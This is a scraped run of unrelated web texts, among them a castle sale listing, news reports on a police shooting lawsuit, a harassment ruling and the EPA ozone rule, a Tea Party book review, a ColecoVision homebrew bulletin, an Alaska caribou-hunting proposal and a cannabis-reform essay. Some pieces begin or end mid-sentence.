Craigdun Castle is built of basalt with a five-storey tower to the front, but runs deep to the rear with the main accommodation in a lengthy wing. It has many typical baronial features, including crow step gables, conical turrets and mock defensive features such as crenellations and arrow slits.
The tower has two rooms at each level and is in need of some restoration. The main floor has an outer hall, main hall, staircase hall, sunroom, drawing room, dining room, kitchen, family room, boot rooms, annex and cellar.
A previous owner claims to have walked through the house, counting the rooms, and given up at 36. Outside is a traditional stone courtyard with outbuildings, and 10.14 acres.
Savills Country is handling the sale of the house.
Background
Craigdun Castle was built in the 1860s by 'Long Eddie' McNeill. It is believed to have been designed by Charles Lanyon, who was responsible for many of Northern Ireland's best-known Victorian buildings including Belfast Castle. The architectural style was fashionable at the time and features crow step gables, conical turrets and mock defensive features such as crenulations and arrow slits. The centrepiece is a five-storey tower with pepper pot bartizans - jutting wing towers that allowed observers to see what was happening at the front gates.
Belfast TelegraphNigerian rescue workers inspect the scene of an explosion at blamed on Boko Haram on Wednesday. At least 32 people were killed and another 80 wounded in Yola, a town packed with refugees from Nigeria's Islamic |
commissioned by attorneys for the Perez Lopez family, who filed a civil rights lawsuit against The City, Suhr and the officers involved in the shooting, alleging that officers Craig Tiffe and Eric Reboli used excessive force and caused the wrongful death of Perez Lopez.
“This case is truly significant because the contrast between their version and the physical evidence is so stark,” said Arnoldo Casillas, the lead attorney in the case. “We’ve got our autopsy and their autopsy that show the bullets hit him in the back.”
At a public meeting last March, Suhr said Perez Lopez was trying to rob a man of his bicycle using a knife when the officers were forced to open fire. Perez Lopez reportedly attacked the officers with the knife and refused to drop the weapon when he was shot, he said.
An SFPD spokesperson declined to comment on the case because of the pending litigation. But in early February, Suhr told KQED that upon further discussion with the officers, Perez Lopez had turned away from officers to chase the man with the bicycle.
William Simpich, a former neighbor of Perez Lopez and one of the attorneys in the civil rights lawsuit, said Perez Lopez did not know the officers were police because they were wearing civilian clothing and said Perez Lopez did not speak English.
“The problem is the way police responded to the situation,” Simpich said, adding that Perez Lopez was running away when the officers shot him. “They came from behind with no warning,” he said.
The District Attorney’s Office, which investigates all officer-involved shootings, has not completed its investigation into the incident.
In memory
On Friday Rev. Richard Smith, of the Episcopal Church of St. John the Evangelist in the Mission, will host the vigil at 24th and Folsom streets, where Perez Lopez was killed.
“It’s something that is both somewhat healing, but also just sending a real clear message that we’re really sick of this behavior on the part of the police,” Smith said.
Supporters plan to march to the Mission Police Station, where they will demand “thorough” investigations into the deaths of Woods, Perez Lopez and Alex Nieto, who was killed by police on Bernal Heights in 2014, said Smith.
Smith said residents of the Bernal Heights neighborhood were traumatized by the shooting of Perez Lopez; some had witnessed his body lying in the street, while others heard the gunshots.
Perez Lopez was from a rural part of Guatemala, attorneys said. He worked construction jobs in San Francisco and would send money back to his family.
“My son is from Guatemala, and he looked like Amilcar,” said Smith, who officiated Perez Lopez’s funeral. “This could have been our kid.”
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Garland, a university graduate, said the debate over sexual violence and harassment has "hit the breaking point" in recent weeks in cases even more extreme than hers -- the arrest of CBC Radio host Jian Ghomeshi on sexual-assault charges, the rape accusations levelled against comedian Bill Cosby and the allegations made against two federal Liberals by two female NDP MPs.
"I would encourage other women to come forward, because it's only by waves and waves of women speaking up about this that things are going to change," said Emily Garland, 28. "But, this was a hard and draining experience, and if you don't have that in you, then you should focus on you."
Still, the three-year process that culminated in a rare Manitoba Human Rights Commission hearing was "absolutely" worth it, she said.
A Winnipeg woman who won the biggest workplace sexual-harassment settlement in Manitoba history says blowback from the case forced her to change her name, confront dozens of threatening emails and relive a traumatic assault.
Hey there, time traveller! This article was published 29/11/2014 (1551 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 29/11/2014 (1551 days ago), so information in it may no longer be current.
A Winnipeg woman who won the biggest workplace sexual-harassment settlement in Manitoba history says blowback from the case forced her to change her name, confront dozens of threatening emails and relive a traumatic assault.
Still, the three-year process that culminated in a rare Manitoba Human Rights Commission hearing was "absolutely" worth it, she said.
"I would encourage other women to come forward, because it's only by waves and waves of women speaking up about this that things are going to change," said Emily Garland, 28. "But, this was a hard and draining experience, and if you don't have that in you, then you should focus on you."
Garland, a university graduate, said the debate over sexual violence and harassment has "hit the breaking point" in recent weeks in cases even more extreme than hers — the arrest of CBC Radio host Jian Ghomeshi on sexual-assault charges, the rape accusations levelled against comedian Bill Cosby and the allegations made against two federal Liberals by two female NDP MPs.
'I would encourage other women to come forward, because it's only by waves and waves of women speaking up about this that things are going to change' — Emily Garland, 28
Last year, an adjudicator ruled Garland was the victim of relentless and aggressive sexual harassment by a regular customer at the store where she worked — GameKnight, on South Osborne, which specializes in board, card and role-playing games such as Dungeons & Dragons and Magic: The Gathering.
According to the decision, the customer repeatedly made lewd and graphic remarks, rubbed up against Garland and threatened to rape her.
"What do you say to that? The first three times it happened I was just shocked silent," said Garland. "If he could get me alone in the store without witnesses he would say something obscene to me or touch me," she said.
Last year, after a three-day hearing, the human rights adjudicator ruled Garland's boss, store owner Scott Tackaberry, failed to protect her from the customer, despite her repeated complaints. Garland was awarded $7,750, a record amount that took into account "the young age of the complainant in this case, the shocking and ongoing lewdness of the conduct and comments that she had to endure and the special vulnerability of a young worker whose employer failed to protect her against the abhorrent inappropriateness of a middle-aged customer."
But the fallout from the case was severe, with echoes of the recent "gamergate" controversy that saw feminist critic Anita Sarkeesian suffer an avalanche of sexual and physical threats for condemning the depiction of women in video games and science fiction.
After getting fired in 2010 and while her complaint was before the human rights commission, Garland received dozens of anonymous but extremely violent rape and death threats via email, mostly from the gaming community, she believes.
While working as a grader at the University of Manitoba, similar threats were slipped under the door of her office, she said. Complaints to police went nowhere and she changed her name to shield herself from the power of Google.
"Not all nerds are like this. Most people manage a healthy divide between fantasy and reality," said Garland, who still becomes agitated and angry when retelling her story. "But you can't live under the constant, and I mean constant, and immediate threat of physical and sexual violence for five years and not have it affect you."
Though the commission and its staff were "wonderful," the eventual hearing was traumatic. She said it was "comically scary" to face the customer who harassed her and the boss who failed to act.
Tackaberry acted as his own lawyer during the hearing and questioned Garland about her sexual history, including a rape she suffered as a teenager and is open about discussing. Tackaberry also argued Garland was quick to discuss her personal history and sex life with customers and staff.
The adjudicator, Winnipeg lawyer Robert Dawson, dismissed most of that evidence as irrelevant.
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"He was interested in dredging up the most violent, unpleasant moments of my life and forcing me to relive them in front of an audience," said Garland. "I spoke about my life and then that was used against me. He had a three-day-long bully pulpit of what a terrible person I am."
Tackaberry maintained the reverse is true — that Garland is a compulsive liar with a history of false claims who manufactured the human rights complaint to paint herself as the hero and him the villain. He said the three-year process was very hard on him and his family and utterly unfair.
In his testimony and in an interview, Tackaberry disputed much of Garland's version of events, saying she was rarely alone in the store with the customer and she complained only once about the harassment. She was ultimately fired for insubordination.
Tackaberry said the human rights commission's process was stacked against him, in part because Garland had a lawyer provided to help make her case, and he did not. He called the process "a kangaroo court."
To view the decision on this case: http://www.manitobahumanrights.ca/publications/legal/garland.pdf
maryagnes.welch@freepress.mb.caEnvironmental Groups Challenge EPA In Court Over Ozone Rule
The Trump administration seeks to roll back and delay dozens of regulations across government, including one to lower smog-creating ozone. Environmental groups are challenging the EPA in court.
AUDIE CORNISH, HOST:
The Trump administration has made no secret of its intent to roll back as many federal regulations as it can. President Trump says he wants to eliminate two existing regulations for each new one put in place. It takes time to repeal regulations outright, so the administration is taking another tack by attempting to delay rules from taking effect. NPR's Brian Naylor explains.
BRIAN NAYLOR, BYLINE: Eneshal Miller has a problem with the air she breathes. The 43-year-old hairstylist moved with her son from Washington, D.C., to a Maryland suburb partly to get away from Washington's smog.
ENESHAL MILLER: I do have issues with the air outside that I'm breathing. I may suffer from things like headaches. Sometimes I'm just not able to come outside based on the temperatures, based on the smog. A lot of times my son, who is now 18, he has asthma.
NAYLOR: Miller and her son's health troubles from breathing dirty air are not unusual. A recent study by the Harvard School of Public Health found that just a small reduction in the level of ozone in the air, a major component of smog, would save some 1,900 lives a year. In 2015, the Obama Administration approved a regulation that lowered the amount of allowable ozone from 75 to 70 parts per billion, itself a compromise. But in June, Trump's EPA administrator, Scott Pruitt, said states needed more time to meet the lower standard, and so he extended the deadline for a year. In response, environmental groups and, yesterday, 16 states filed lawsuits challenging Pruitt's action as unlawful. John Walke is an attorney for the Natural Resources Defense Council.
JOHN WALKE: Mr. Pruitt is just flat-out violating the law by obstructing legally required reductions in smog pollution. And that is where the courts should and we believe will intervene to overturn his unlawful steps.
NAYLOR: This isn't the first time Pruitt has sought to delay implementation of new environmental regulations. In his previous job as attorney general of Oklahoma, he sued the EPA with other states in an effort to block regulations. Since becoming EPA administrator, he tried to stop new rules on methane emissions from taking effect but lost a court challenge. The Trump administration's battle against regulation is not limited to the environment. Across the government, administration officials seek to delay or roll back dozens of rules and regulations on everything from food safety to civil rights protections to clean air and water. Georgetown University law professor William Buzbee says the White House can do that up to a point.
WILLIAM BUZBEE: Basically a president has tremendous power. And agencies can drag their feet.
NAYLOR: But Buzbee adds the administration is on thin legal ice.
BUZBEE: For an agency and the agency's lawyers to effectively undo a regulation by just saying they're going to put it on hold is by most standards an illegal act.
NAYLOR: The petroleum industry stands to be most affected by lower ozone standards and has long fought them. Howard Feldman of the American Petroleum Institute argues the air is getting cleaner and the industry is still trying to meet an earlier standard.
HOWARD FELDMAN: So we think it's best for people to work on meeting the 2008 standard first and then look at what needs to be done further, if anything.
NAYLOR: He says ozone levels have gone down by a third since 1990. Opponents of the tougher ozone standard have also turned to Congress. The House last month approved a bill to delay the stricter rules for eight years. A similar measure is working its way through the Senate. Eneshal Miller, though, is worried about backtracking.
MILLER: I hope we don't go back to just not caring anymore and saying, no, we don't want clean air. You know, I hope that doesn't happen.
NAYLOR: Brian Naylor, NPR News, Washington.
(SOUNDBITE OF DIRTWIRE'S "SAILING THE SOLAR FLARES")
Copyright © 2017 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.The deputy leader of South Lanarkshire Council has been charged by police after an alleged incident last month.
Councillor Jackie Burns, 52, who represents the Larkhall ward, has also been suspended by the Labour Party.
Police said a 52-year-old man has been reported to prosecutors. The Crown Office said it was considering a report concerning an alleged incident on 18 September involving a 52-year-old man.
The council confirmed that Mr Burns had been suspended by his party.
A spokeswoman for Police Scotland said: "We can confirm that a 52-year-old man has been reported to the procurator fiscal in connection with an incident."
A spokesman for the Crown Office said: "The procurator fiscal has received a report concerning a 52-year-old man in connection with an alleged incident said to have occurred on 18 September 2016.
"The report remains under consideration."
A spokesman for South Lanarkshire Council said: "The council has been informed that Councillor Burns has been suspended by his party, and the council leader has advised that Councillor Burns will cease to represent the Labour Party on the council while he is suspended."According to Parker and Barreto, 91 percent of Tea Party supporters hold negative opinions of Obama. (This beats the 82 percent who hold negative views of illegal immigrants, and, even more tellingly, the 85 percent who report a preference for limited government.) Sixty-seven percent of Tea Party supporters believe that Obama is a socialist, and 71 percent think he will destroy the country. Destroy the country! In contravention of basic, established facts, solid majorities do not believe that he is a Christian (71 percent) or that he was born in the United States (59 percent). Parker and Barreto take pains to distinguish these views from those of non-Tea Party conservatives, and to ensure—by means of regression analysis—that Tea Party affinity, and not some other factor like support for the Republican Party, accounts for the figures. Most distressingly, fully two-thirds of Tea Party supporters want Obama to fail. It is profoundly dispiriting to confirm that so many on the far right put ideological purity over the common good.
Maybe none of this matters anymore, because the Tea Party is not the force it once was. Its flints are damp and its muskets have been misfiring. Despite much exertion, it failed to defeat Obama’s signature domestic achievement, the Affordable Care Act, either in Congress or the courts. Tea Party stars like Richard Mourdock, Joe Walsh, and Allen West all lost congressional elections in 2012, and exit polling after that election revealed shrinking support for the Tea Party (21 percent, down from 40 percent in the 2010 mid-terms). Moderate Republican senate candidates outperformed Tea Party candidates in contested 2012 races, as measured by margin of victory. Michele Bachmann, the Tea Party voice in the most recent presidential primary field, may soon face indictment for violating campaign finance rules.
But an obituary for the movement would be premature. The Tea Party continues to stymie centrist legislating, using the threat of primary challenges to cow moderate Republicans. Who knows whether the effort in April to pass modest gun control legislation might have succeeded, had half a dozen senators not worried about challenges from the right. Republicans may nominate a Tea Party favorite like Marco Rubio or Rand Paul as their next presidential candidate. Before 2016, declarations of death seem premature.
Change They Can’t Believe In offers valuable empirical data on the Tea Party, and its focus on supporters’ antagonism toward Obama is critical to understanding the movement. But the book includes a serious misstep: a sustained comparison of the Tea Party to the Ku Klux Klan. In some quarters this will ruin their credibility and cause readers to ignore their important social scientific findings. Although Parker and Barreto demonstrate that both the Tea Party and the Klan are reactionary movements driven by a fear of displacement by white, middle-class Protestants, they largely ignore the huge divide that separates the groups: the use of violence. At its worst, the Tea Party has flirted with violent rhetoric, using incendiary language and symbolism like Sarah Palin’s bulls-eye map targeting Democratic members of Congress. Ugly and disturbing this may be, but the Tea Party has never come close to the terrorism deployed by the Klan. To disregard this distinction is irresponsible. The better comparison by far is to the John Birch Society of the 1960s, which the authors also explore at length.
George W. Bush and Ronald Reagan spent freely, running up deficits, and did not spark a populist backlash. Bush, not Obama, signed into law the hated Troubled Asset Relief Program and Emergency Economic Stabilization Act. Mitt Romney implemented his own version of Obamacare in Massachusetts and yet earned the Republican nomination for president. Reviled though Bill Clinton was on the right, no one questioned his citizenship. Reagan and George H.W. Bush raised taxes, and even if the latter was voted out of office for it, Americans did not paint devil’s horns on his portrait or question whether he was a true American. The Tea Party’s disgust with Obama is a thing apart from ordinary partisanship: It transcends his policies and ultimately rejects him for who he is. When Obama leaves office, regardless of who replaces him, Tea Party supporters may believe they’ve taken the country back. If they do, and they finally pipe down, they’ll look in retrospect like just another reactionary fringe group. In silly hats.Posted Thu May 19, 2016 8:05 AM
Caverns of Titan
Cold Blood
Danger Tower
Deep Dungeon Adventure
Frostbite
Heroes Arena
J.E.T.P.A.C.
Kaboom!
Kralizec Tetris
Remember the Flag
SHMUP!
Shouganai
Stray Cat
Sudoku
Traffic Jam
Txupinazo!
Yar's Revenge
Attached Thumbnails
Hello, ColecoVision fanatics!I'd like to start this Team Pixelboy News Bulletin with some happy news: Yours truly just found himself a new job! I'll be starting at my new company next Tuesday, and since I expect the training period to be grueling, I'll probably have to slow down my activities related to Team Pixelboy, at least for a couple of weeks. Not a complete shutdown of activities, just a slowdown while I get used to my new job.But before next Tuesday, I want to get the ball rolling on a special project! Read on for all the details!Many of you know Óscar Toledo Gutiérrez, also known as nanochess on these forums. He's been hanging around these parts for several years, and I was honored to publish some of his games, namely Princess Quest, Mecha-8 and Mecha-9 under my Team Pixelboy label. He's also the author of the CoolCV emulator, and he's been a great help and all-around nice guy to the ColecoVision homebrew community.Óscar's wife received some very bad news recently: She has stage-4 lung cancer (it has started spreading out of her lungs) and she had to give birth to her daughter prematurely so she could receive chemotherapy treatments. The baby is currently in intensive care.I've decided to help Óscar with the medical bills by starting a new budget-priced series of Team Pixelboy games. These games are mostly ColecoVision ports of MSX homebrew games that were submitted to the MSXdev contests in recent years, and there are a few games coded from scratch as well.This budget series will be composed of 17 games. Each game cartridge will come in a sturdy two-piece box (similar to the boxes used by Parker Bros back in the day) and a 4-page manual will also be included. As you can guess, a 4-page manual implies that these games will be rather simple in nature, but still quite fun to play. Most (but not all) of the games will require the Super Game Module to function. I will provide more details about SGM dependency at a future date.This "budget" project has barely started. As I write this, only a small number of games in this new series have actually been completed and are ready for beta-testing, and the rest will probably be completed over the next couple of months. If you want to help with beta-testing, by the way, please send me a private message on AtariAge.But even though the games are nowhere ready yet, the pre-order period needs to start right away, because Óscar needs all the money he can get as soon as possible, and I also need to determine how many boxes of each game I need to order from the printer company.So here's how pre-ordering is going to work: People will need to pay 9$US for each game pre-ordered, and all the money collected will go directly and immediately to Óscar. This implies that these initial pre-order payments will be. When the pre-ordered games will be actually ready to ship, buyers will pay the remaining 20.95$US per game, plus shipping fees.Over the next few days, I will contact (by e-mail) all the people listed in my Team Pixelboy customer records about this new budget series. So if you have purchased Team Pixelboy games from me in the past, please wait for the e-mail I will send you, don't e-mail me about pre-ordering these new budget games. I have a lot of people to contact, so this may take a while, but rest assured I will get around to contacting everyone.So without further ado, here are the 17 games of the budget series, in alphabetical order, with currently available videos/pictures.(by Jose Luis Tur)(by Juan Luis Martinez)(by David Fernandez)(by Arturo Ragozini)(designed by Steve Cartwright, ColecoVision version coded by Antoni Burguera.)(This trailer video was prepared by Antoni Burguera)NOTE: The video above mentions an "amazing soundtrack", but that soundtrack is actually still under development. But the point is, there will be background music in this game to add a little ambiance.NOTE 2: The entire game itself is still under development. Some graphics and features may change between now and release day, but what you see in the video is essentially what you will get.(by David Fernandez)(by David Fernandez)(designed by Larry Kaplan, ColecoVision version coded by Armando Pérez Abad)(No media currently available)Pretty much the same game as on the Atari 2600, but with prettier graphics. Roller Controller support will likely be included.(by Armando Pérez Abad)NOTE: The video above does not show the two-player battle mode, but that versus mode will definately be included.(new game designed by Luc Miron, programmed by Armando Pérez Abad)(No media currently available)This is a memory-match game very similar to the board game Match II, with some added bells and whistles. One-player-versus-CPU and two-player modes will be included.(by David Fernandez)(by Juan Luis Martinez)(by David Fernandez)(by Daniel Vik)(by David Fernandez)(by David Fernandez)(designed by Howard Scott Warshaw, ColecoVision version coded by Armando Pérez Abad)(No media currently available)It will be the same game as on the Atari 2600, but we're currently discussing possible minor enhancements, both in graphics and gameplay, just to add something new to the formula. Nothing too fancy, don't worry.The people working on these games for Team Pixelboy will do their best to get them ready as soon as possible, but at this time, I am not in a position to set an actual release date for any of these games. It's way too early for that, and there are several unknown variables that keep me from setting such a release date. My general plan is to ship these games to customers in groups of 4 as the software is completed and put on cartridges, but that plan is easely subject to change. But in whichever fashion these budget-priced games will make their way to customers, my end goal is to have ALL orders shipped by the end of September.Releasing 17 complete-in-box ColecoVision games in such a short amount of time is quite a challenge, but certain marketing decisions have been taken that make this challenge doable. In particular, I'm going to prepare the box templates myself for all 17 games, and once these templates are ready, I will show them in this forum thread, and also on teampixelboy.com.I'm hoping people will pre-order as many games as they can, to help our friend Óscar in his hour of need.I would like to take a moment to thank the people who have made this budget series possible in such a short amount of time:(who has been a tremendous help in securing most of these 17 budget-priced games, and will be porting several MSX games and coding several new games from scratch)(also known as Imanok in the MSX homebrew scene, donated a lot of his MSX creations for this project)(creator of Shouganai and Cold Blood)(creator of Caverns of Titan)(main coder of Deep Dungeon Adventure)(collaborator on Deep Dungeon Adventure)(collaborator on Deep Dungeon Adventure)(creator of Sudoku on MSX, and is also porting the game to ColecoVision)(collaborator on Sudoku)(main coder for Frostbite, and providing technical assistance for the ColecoVision port of Sudoku)(music composer behind several of these games)- And last but certainly not least,(who is porting some of these MSX homebrew games to ColecoVision)I hope I didn't forget anyone... Apologies if I did.It's rather obvious that the new budget series is going to take up all my free time this summer, so the release of the "regular" set of upcoming Team Pixelboy titles (Ghostbusters, Space Shuttle, Secret of the Moai, C-So!, King & Balloon, Children of the Night, Wizard of Wor, Utopia, Jewel Panic and Gauntlet) will be pushed back to Christmas 2016.Antoni Burguera graciously prepared a new trailer for Children of the Night, which you can watch below:I unsuccessfully tried selling an empty homebrew Super Action Baseball box on eBay last week. If anyone wants it, please let me know. Just pay 5$, shipping is free. Pictures of this homebrew box are attached below.This conclude this Team Pixelboy News Bulletin. We now return you to your regular forum activities.Proposal 148 would allow hunters to position the animals (plus wolves and wolverines), rather than position the hunter, which most admit is currently common practice. But biologists say chasing vulnerable Nushagak Peninsula caribou in the spring could be dangerous to the health of the herd.
How hunters legally use snowmachines to take caribou in Unit 17 is the subject of a regulatory proposal the state Board of Game will take up in February. Proposal 148 was submitted by Kenneth Nukwak from Manokotak, and was the subject of some spirited debate at the Nushagak Fish and Game Advisory Committee October meeting.
KDLG's Dave Bendinger reports...
The proposal seeks to “allow the use of a snowmachine … to position a caribou, wolf, or wolverine for harvest, and caribou, wolves, and wolverines may be shot from a stationary snowmachine.”
ADF&G area wildlife management biologist Neil Barten pointed out that under current regulations, “a snowmachine may be used to position hunters to select individual wolves for harvest in 17, but it is not legal to use a snowmachine to position wolves, wolverine, or caribou.”
Most of the focus was on caribou, and changing the regs from allowing positioning of the hunter to positioning the animal, known better as chasing them down, did not have the support of ADF&G or USFWS biologists in the room.
Barten pointed out the state’s disapproval was mainly tied to how chasing practices could harm caribou, which often – and especially on the Nushagak Peninsula – travel in small herds.
“You know it’s one thing with a wolf or wolverine, but with caribou that tend to hang out in groups, and you try to position a caribou, you could be affecting a lot of animals,” he said.
Units 22, 23, and 26(A), in the vast expanse of north and northwest Alaska, do allow for positioning these animals for harvest.
AC chairman Frank Woods pointed out that chasing caribou is already common practice locally.
“The intent [with proposal 148] is to legalize what we’re doing already,” he said.
The discussion never drifted far from talking about Nushagak Peninsula caribou. Several of the committee members, plus the biologists and enforcement, agreed that many hunters do ride hard to catch up with the fleet-footed herds in the winter.
Woods said he supports proposal 148 because it will help force some clarity on the rules and bring more hunters into compliance, or bring the rules into compliance with hunters.
“I think this is a step in the right direction, that we ought to bring this forward to the Board of Game, saying ‘ok, here’s the rules, let’s educate on the rules on fair chase, illegal chase, harassment, wounding,’ and let’s go from there,” he said.
AC member Dan Dunaway did not support the proposal, at least as it extended to caribou, again with a focus on the Peninsula herd.
“It was my impression they already are chased way too much, and I think this would open the door more,” he said. “I’d be inclined to support it for wolf and wolverine, but I also would sure like to hear from what the Refuge and enforcement folks have to say on this.”
The Togiak Refuge staff and enforcement were not at all supportive of legalizing chasing caribou. Speaking to the committee, they said that there is already too much chasing them down in the spring, when cows are pregnant and the animals are their most vulnerable. The added stress and strain, the biologists said, would eventually take a big toll on the small herd. As to hunting ethics, enforcement officers said they are currently finding too many dead caribou that were likely shot at wildly during a chase and not tracked.
Vice chairman Joe Chythlook took issue with the pushback. He helped see that herd established on the Peninsula in 1988 for the purpose of providing meat for local residents, and said authorities should not interfere too much with how the harvest occurs.
“The intent was to hunt caribou so people in the area could have red meat,” Chythlook said. “And then to have people that come from somewhere else and say ‘well, this is the way it should be’, without giving enough credence to understanding why people have lived in this area for many years. We take advice from a lot of you folks, and we’ve lived with it for a long time,” he said, as he and Togiak NWR supervisory biologist Pat Walsh sparred in some tense back-and-forth.
Woods pointed to the need to clarify the rules and educate hunters as a good reason to get proposal 148 in front of the Board of Game with the Nushagak AC’s backing, which he was able to secure.
The same proposal came up to the federal subsistence Regional Advisory Council, and the USFWS Office of Subsistence Management recommended supporting it.
“The changes would ensure that Federally qualified subsistence users are provided the opportunity to use snowmachines as an efficient and effective means to harvest caribou, wolves, and wolverines during the winter months in Unit 17. The changes would have little to no effect on hunting behavior, and any changes in the population status of caribou, wolves, and wolverines are anticipated to continue to be addressed through season and bag limits,” OSM staff wrote.
The RAC, however, did not support WP18-24 (Nukwak’s proposal in federal form), though it’s not clear why. Dan Dunaway, who also sits on the RAC, made a motion to amend the language from positioning the animal to positioning the hunter, and the RAC vote fell apart.
The Board of Game will sort out the concept in February when it meets in Dillingham.
dave@kdlg.org or 907.842.528115User Rating: 1 out of 5
Review title of Ted Gets In the Way of the Web Experience!
9/18/2017: Updating - installed on my Windows 10 Surface. This is just a web wrapper, but it doesn't even work correctly - no submenus ("right click") functionality, and if you try to share an article from inside the app, nothing happens. I end up having to open additional windows in Edge, and I can't share info between them. Uninstalled for now - let me know when you write a real app!! 12/2/2015: Updating my review again. This problem *still* is not fixed and it's been 6 months!! There is something very wrong between this app and the Microsoft account on my phone. They're linked and won't synch either correctly anymore. WTH?!! Need this fixed ASAP! (Old review) Good overall. Could use some tutorials and expanded help to figure out how to be productive more quickly.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2014 May 31
Satellite Station and Southern Skies
Image Credit & Copyright: James Garlick
Explanation: This clear night skyscape captures the colorful glow of aurora australis, the southern lights, just outside the port city of Hobart, Tasmania, Australia, planet Earth. As if staring into the dreamlike scene, the Tasmanian Earth Resources Satellite Station poses in the center, illuminated by nearby city lights. Used to receive data from spacebased Earth observing instruments, including NASA's MODIS and SeaWiFS, the station was decommissioned in 2011 and dismantled only recently, shortly after the picture was taken on April 30. Still shining in southern skies though, the central bulge of our Milky Way galaxy and two bright satellite galaxies the Large and Small Magellanic Clouds appear in the frame. The Small Magellanic Cloud shines through the fainter red auroral band.In what one legal scholar termed an attempt to “tax a constitutional right out of existence,” the Commonwealth of Northern Marianas Islands has enacted an almost prohibitively strict new gun law.
On March 28, Chief Judge Ramona Villagomez Manglona, |
a Professor too. You are joining a fraternity, albeit a highly nerdy fraternity that exists around the world, so you must be kidding yourself if you expect no hazing.
4. You have friends now
Getting your ass kicked for about 4 months was fruitful in at least one way i.e. you have friends now. You have people who can totally relate to what you are going through, feel equally clueless and are the only people on this planet for the next many years who will know why you are pissed off/depressed just by looking at you (No asking required). Enjoy this fact! Be thankful you have people around you who are as crazy as you are and are willing to help you out when you are just having a bad time.
5. Learn to be positive and laugh things off
Being an optimist is going to be your greatest asset in Grad School. There are times when you think it is all pointless and you are walking down a tunnel with no light at the end. But thing is that is not how life is. You need to look at the bright side of things, yes you will get your ass kicked every now and then, yes it is going to totally suck and you will be depressed about it. But remember this; if you take things too seriously they will destroy you. Moderation is the key here. So while you read 2 books a week and write a paper on the weekend, also take the time to go have a drink or two and just hang out with your friends. And while some assignments might be awesome and others just so-so, the eventual aim is to build on all these experiences and become a well rounded person who is an expert at something. And that is not going to happen by stressing about every single that happens.
Honestly, I am glad that I chose to attend Grad School. It is nothing like you have ever done in life. It is a world of its own; a beautiful and kick ass world where live now! Wohooo!
Related articlesEnding Cannabis Prohibition in America
The now 40-year-old organized effort to reform cannabis laws in America is on the cusp of major socio-political change. Approximately fifty percent of the population no longer supports the nation’s 74-year-old cannabis Prohibition. Reformers have made tremendous gains, notably at the state level, which have placed us at this crossroads, yet obstacles to full cannabis legalization are abundant and deep-seated in Congress and the federal government.
In this essay, I will seek to identify important areas of concern for cannabis law reform. I will highlight the factors that have created a positive environment for reform, while identifying the last and largely self-interested factions in society who fervently defend and/or prosper from cannabis Prohibition’s status quo. I’ll also consider some of the strategic decisions that reformers can implement that will hasten an end to alcohol Prohibition’s illegitimate, long-suffering cousin.
Important Areas Of Concern For Cannabis Law Reformers
There are several areas of concern for reformers, notably the federal vs. state disconnect; citizens’ illogical fear of cannabis more than alcohol; and the political box canyon potentially created by medical cannabis.
Federal vs. State Government Disconnect
On a recent video essay broadcast October 20, CNBC host and former senate staffer Lawrence O’Donnell lamented that “only in the U.S. Senate can there be zero discussion about a policy change fifty percent of the country supports.” In a nutshell, despite 14 states having decriminalized cannabis possession, and 16 states and the District of Columbia “medicalizing” cannabis, the U.S. Congress and the executive branch (along with a federal judiciary that is totally deferential to Congress’ intent and will regarding anti-cannabis laws) are almost completely disconnected from what the governed want in this area.
The numbers that frame this political quandary: 75% of the public support medical access to cannabis; 73% support decriminalizing cannabis possession for adults; and now 50% of the population support outright legalization (California, where one out of eight U.S. citizens live, nearly passed a legalization voter initiative last fall, only losing by three percentage points). So it can be asserted with confidence that “soft” cannabis law reforms of medical access and decriminalization enjoy overwhelming public support and that the “hard” reform of legalization has now moved into the plurality, if not the majority (The recent Gallup poll showed only 46% of citizens continue to support cannabis Prohibition).
However, even with clear polling data to help guide them away from restrictive policies no longer supported by the public, the Obama administration hasn’t responded. In a series of five attempts introduce “digital democracy” into policymaking decisions, it created a public website where citizens and organizations can post online petitions. There, the president was once again confronted by the public’s number one question: Why do we have cannabis Prohibition in 2011? Shouldn’t it be ended as an ineffective public policy?
Unfortunately, like the previous four opportunities for it to confront public opinion about cannabis Prohibition, despite the NORML petition being number one with 72,000 signatures, the Obama administration once again totally rejected any public calls for cannabis law reforms and re-asserted the federal government’s primacy over the states in enforcing national cannabis Prohibition laws (see discussion below).
Cannabis’ Fear Factor
Recent polls and focus group data gathered by cannabis law reform advocates after last year’s near-victory on California’s Prop. 19 (the initiative that would have legalized cannabis) revealed an important and troubling public perception that reformers need to overcome to be successful: Almost 50% of the general public in California—where the issue of reforming cannabis laws has been vetted like no other place on earth since the late 1960s—illogically fears cannabis more than alcohol products.
Forgive the pun, but reformers have to do a better job “normalizing” cannabis use so that its responsible use causes no greater concern in the public’s eye than the responsible use of alcohol. Otherwise, it is hard to imagine cannabis becoming legal anytime soon. That just won’t happen if fifty percent of the public fears the product and the consumers who enjoy it.
The Political Limitations of Medical Cannabis
While NORML is sui generis on medical cannabis in the United States (first suing the Drug Enforcement Administration to reschedule cannabis as a medicine in 1972, NORML vs. DEA), the organization recognizes that absent substantive changes in the federal government’s Controlled Substances Act (and controlling international treaties envisaged and championed by the United States at the United Nations), qualified medical patients accessing lawful cannabis with a physician’s recommendation in states that authorize it will pose an untenable conflict with the existing federal laws that do not, under any circumstance, allow for the therapeutic possession, use, or manufacture of cannabis.
